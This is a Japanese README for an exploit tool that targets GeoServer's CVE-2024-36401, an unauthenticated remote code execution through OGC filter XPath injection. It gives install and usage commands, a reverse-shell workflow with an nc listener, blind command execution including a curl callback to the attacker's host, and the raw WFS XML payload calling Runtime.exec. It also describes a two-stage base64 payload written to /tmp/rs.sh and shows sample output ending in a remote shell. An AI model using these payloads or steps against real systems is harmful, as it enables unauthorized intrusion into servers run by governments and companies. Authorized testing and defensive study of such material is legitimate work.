
認証不要のRCEエクスプロイト: GeoServer (CVE-2024-36401) 向け、OGCフィルターXPathインジェクションを介した。リバースシェルおよびブラインドコマンド実行をサポートし、自動バージョン検出とフィーチャータイププロービングを備えています。
GeoServer向けの、OGCフィルターvalueReferenceパラメータインジェクション(XPath/JXPath評価)を介した未認証リモートコード実行エクスプロイト。
免責事項: このツールは、許可された侵入テストおよびセキュリティ研究のみを目的としています。自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。作者は、このツールの誤用または損害について一切の責任を負いません。
GeoServerは、地理空間データを共有するためのオープンソースのJavaサーバーであり、政府、企業、研究環境で広く展開されています。CVE-2024-36401は、認証されていない攻撃者が、OGC(Open Geospatial Consortium)フィルターパラメータにJava式を注入することで、ホスト上で任意のOSコマンドを実行することを可能にします。
この脆弱性は、実際の悪用が確認されたため、2024年7月に**CISAの既知の悪用された脆弱性(KEV)**カタログに追加されました。
| ブランチ | 脆弱性範囲 | 修正バージョン |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
2.23.0より古いGeoServerバージョンも影響を受ける可能性がありますが、サポート終了でありテストされていません。
GeoServerは、OGCフィルター式を評価するためにGeoToolsライブラリを使用しています。valueReferenceパラメータ(およびCQL_FILTERなどのその他のパラメータ)は、Apache Commons JXPathのJXPathContext.selectNodes()にサニタイズなしで渡されます。
JXPathは、次のような式を介して任意のJavaメソッドの呼び出しをサポートします:
exec(java.lang.Runtime.getRuntime(), 'id')
この評価は、特定のエンドポイントでは認証前に行われるため、脆弱性は完全に未認証となります。
脆弱なエンドポイント:
POST /geoserver/wfs — GetPropertyValueリクエスト(valueReferenceあり)GET /geoserver/ows — クエリ文字列による同じパラメータ重要な技術的注意点: valueReference式では、コマンド文字列をシングルクォート(')で囲む必要があります。ダブルクォート(")を使用するとXML解析に失敗し、実行が妨げられます。これは他の公開PoCでよくある落とし穴です。
requestsライブラリsf、topp、tigerで十分)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
または、依存関係を直接インストール:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| モード | フラグ | 説明 |
|---|---|---|
| リバースシェル | -l LHOST -p LPORT | bashによる2段階リバースシェル |
| コマンド実行 | -c CMD | 単一コマンドの実行(ブラインド - 出力なし) |
| フィーチャタイプの上書き | -f FEATURE | 自動検出をスキップし、指定されたタイプを使用 |
まずリスナーを起動:
nc -lvnp 4444
次にエクスプロイトを実行:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
期待される出力:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
リスナー側:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
出力を受け取らずにコマンドを実行します。アウトオブバンド検証やファイルのドロップに便利です:
# ファイル作成による実行確認
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# curlコールバックをトリガーして実行確認
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
注:シェルのメタ文字(
>、|、&、;)を含むコマンドは、解析の問題を避けるために自動的にbase64エンコードされます。
自動検出が失敗した場合は、ターゲットから既知のフィーチャタイプを指定します:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
GeoServerサンプルデータに含まれる一般的なフィーチャタイプ:
| ワークスペース | フィーチャタイプ |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
エクスプロイトは、悪意のあるvalueReference式を含むGetPropertyValue WFSリクエストを送信します:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
リバースシェルでは、exec()の単一文字列引数内のシェルメタ文字の問題を回避するために、2段階アプローチが使用されます:
ステージ1 — base64エンコードとシェルの中かっこ展開を使用して、リバースシェルを/tmp/rs.shに書き込みます(exec文字列内にスペースなし):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
ステージ2 — スクリプトを実行:
bash /tmp/rs.sh
このアプローチにより、最初のexec()呼び出しでシェルインタプリタを必要とせず、さまざまなシステム構成で信頼性が高まります。
[-] ターゲットに接続できません
curl http://<TARGET>:8080/geoserver/web/[-] 使用可能なフィーチャタイプが見つかりません
-f <workspace>:<type>でカスタムフィーチャタイプを指定してみてくださいcurl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] ペイロードが配信されました が、シェルを受信できません`
LHOST:LPORTに到達できる必要があります")で囲みますが、これは機能しません。valueReference式内ではシングルクォート(')を使用してください。[!] バージョンX.X.Xはパッチが適用されている可能性があります — それでも試行します
このプロジェクトはMITライセンスの下で提供されています。詳細についてはLICENSEを参照してください。